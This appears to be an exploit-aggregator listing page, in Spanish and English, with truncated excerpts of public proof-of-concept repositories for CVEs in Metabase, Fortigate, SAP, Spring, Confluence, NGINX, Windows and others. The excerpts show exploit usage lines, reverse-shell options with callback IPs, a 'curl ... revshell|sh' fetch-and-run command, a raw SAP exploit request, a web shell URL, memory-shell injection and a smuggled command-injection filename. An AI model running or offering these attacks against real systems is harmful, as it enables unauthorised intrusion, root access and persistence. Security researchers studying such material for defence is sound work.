MetabaseRceTools

MetabaseRceTools CVE-2023-38646 - Herramienta RCE para Metabase CVE-2023-38646 Herramienta gráfica de explotación RCE Módulo de verificación Ingrese la URL especificada para detectar el token no autorizado Ejecución de comandos Este módulo primero necesita ejecutar el módulo de verificación para...

CVE-2025-28915

CVE-2025-28915 Vulnerability Description: WordPress is a blog platform developed using PHP, supporting the setup of personal blog websites on servers running PHP and MySQL. WordPress ThemeEgg ToolKit versions 1.2.9 and earlier have a code issue vulnerability, which stems from allowing the upload ...

CVE-2021-30461

Productos afectados VoIPmonitor 24.60 Cómo ejecutar RCE root@kitploit: python3 CVE-2021-30461.py -t ipaddress Shell del navegador: root@kitploit: http://x.x.x.x/namrlblgel.php?a=whoami Referencia https://ssd-disclosure.com/ssd-advisory-voipmonitor-unauth-rce/...

CVE-2023-20273

CVE-2023-20273 CVE-2023-20273 Exploit PoC Usage root@kitploit: usage: exploit.py -h -t URL -u Username -p Password -c Command | -r -dest Outfile -www | -tcp | -null -ip LocalIP -port LocalPort -fs filesystem -path filepath -operation operationtype -v -q CVE-2023-20273 Exploit PoC options: -h,...

CVE-2021-44168

Exploit para CVE-2021-44168 Propósito Explotar CVE-2021-44168 para obtener una shell en un firewall Fortigate y habilitar su acceso mediante trucos de LDPRELOAD que se ejecutan al correr algunos comandos CLI de Fortigate. Obtienes una shell de root. Uso Compilar: root@kitploit: gcc -o...

CVE-2025-31324

CVE-2025-31324 CVE-2025-31324, SAP Exploit root@kitploit: POST /developmentserver/metadatauploader?CONTENTTYPE=MODEL&CLIENT=1 HTTP/1.1 Host: 127.0.0.1:8000 User-Agent: python-requests/2.32.3 Accept-Encoding: gzip, deflate, zstd Accept: / Connection: keep-alive Content-Length: 636 Content-Type:...

CVE-2023-35803

CVE-2023-35803 - Unauthenticated RCE in Extreme Networks/Aerohive Wireless Access Points PoC for ARM-based access points running HiveOS/IQ Engine "curl :8000/revshell|sh" Writeup here: https://research.aurainfosec.io/pentest/bee-yond-capacity/...

Spring4Shell-CVE-2022-22965-POC

Spring4Shell-CVE-2022-22965-POC root@kitploit: ghost㉿uchiha:$ ./exploit.py --help usage: exploit.py -h -f FILENAME -p PASSWORD -d DIRECTORY url Spring4Shell RCE Proof of Concept positional arguments: url Target URL options: -h, --help show this help message and exit -f FILENAME, --filename FILENA...

CVE-2020-17530

S2-061 The scripts are written based on the struts2-059/061 vulnerability test environment from vulhub, and are not universally applicable. Feedback from experienced individuals is welcome. struts2-061-poc.py can execute simple system commands Usage: python struts2-061-poc.py http://ip:port comma...

CVE-2022-22947-

CVE-2022-22947 Inyección de expresión SpEL en la API Actuator de Spring Cloud Gateway para ejecución de comandos CVE-2022-22947 Inyección de memoria Godzilla Clave predeterminada pass base64 Nota: El código no limpia la parte de la ruta, límpiela usted mismo.. Entorno de prueba:...

CVE-2023-22527-Godzilla-MEMSHELL

CVE-2023-22527-Godzilla-MEMSHELL Uso Nota: la versión probada es 8.5.1, otras versiones definitivamente también funcionan, pero no se probaron. root@kitploit: Contenido referenciado de la herramienta anterior del maestro Beichen. java -jar CVE-2023-22527-Godzilla-MEMSHELL-main.jar url contraseña ...

CVE-2024-3400

CVE-2024-3400: OS Command Injection Vulnerability Description: CVE-2024-3400 is a security vulnerability affecting applications or services that accept user input and execute operating system commands based on that input without adequate validation. This vulnerability allows attackers to inject...

CVE-2025-6019-udisks-lpe-no-image

CVE-2025-6019-udisks-lpe-no-image Script-only privilege escalation chain using CVE-2025-6019 and UDisks2 no filesystem image included. Credits, Context & Exploit Chain This repository does not introduce a new vulnerability. The privilege-escalation technique implemented here is fully based on...

TraditionalJay

TraditionalJay Tienda clásica / tradicional intencionalmente vulnerable para talleres de seguridad — Java en una VM EC2, Azure VM o GCP Compute Engine, no contenedores. Historia principal: Compromiso crítico de VM — inyección SQL → Log4Shell CVE-2021-44228 → reverse shell hacia C2 externo. !CAUTI...

CVE-2022-0847-DirtyPipe-Exploit

What is this This is Max Kellermann's proof of concept for Dirty Pipe, but modified to overwrite root's password field in /etc/passwd and restore after popping a root shell. Side Note: I do not claim any credit for finding this vulnerability or writing the proof of concept. This exploit is merely...

CVE-2026-42945-NGINX-Rift

CVE-2026-42945-NGINX-Rift root@kitploit: Basic usage with target IP python3 exploit.py --target-ip 192.168.1.100 --cmd "id" With custom port python3 exploit.py --target-ip 192.168.1.100 --port 8080 --cmd "id" Reverse shell python3 exploit.py --target-ip 192.168.1.100 --shell --listen-ip 10.0.0.1...

POC-CVE-2026-19681

CVE-2026-19681 — command injection in file upload processing authenticated Status: CONFIRMED on a 6.7.2-14.el9 lab 2026-08-20. Staged filename p;sleep$IFS20;-EvvfJk via POST /rest/file/upload context prefix carries the metachars, then POST /rest/auditFile type=scapLinux, version=1.2 stalled exact...

CVE-2026-4480

excute exploit: root@kitploit: python ./exploit.py -t 10.129.20.16 -l 10.10.14.172 -p 8487 Target: 10.129.20.16 Callback: 10.10.14.172:8487 Verify mode: False + Credentials initialized anonymous + Connected to spoolss interface + Opened printer: HP-Reception + Created DocumentInfo with payload: |...

bludit-CVE-2019-17240

bludit-CVE-2019-17240 Bypass bludit mitigation login and upload malicious to call a rev shell...

ZeroLogon-to-Shell

Esto es una combinación del código de zerologontester.py y la herramienta evil-winrm para obtener una shell. Solo agregué un "os.system" para usar evil-winrm. Requisitos: Para obtener el HASH NTLM del Administrador, recomiendo usar secretsdump herramienta de impacket Y, por supuesto, necesitas...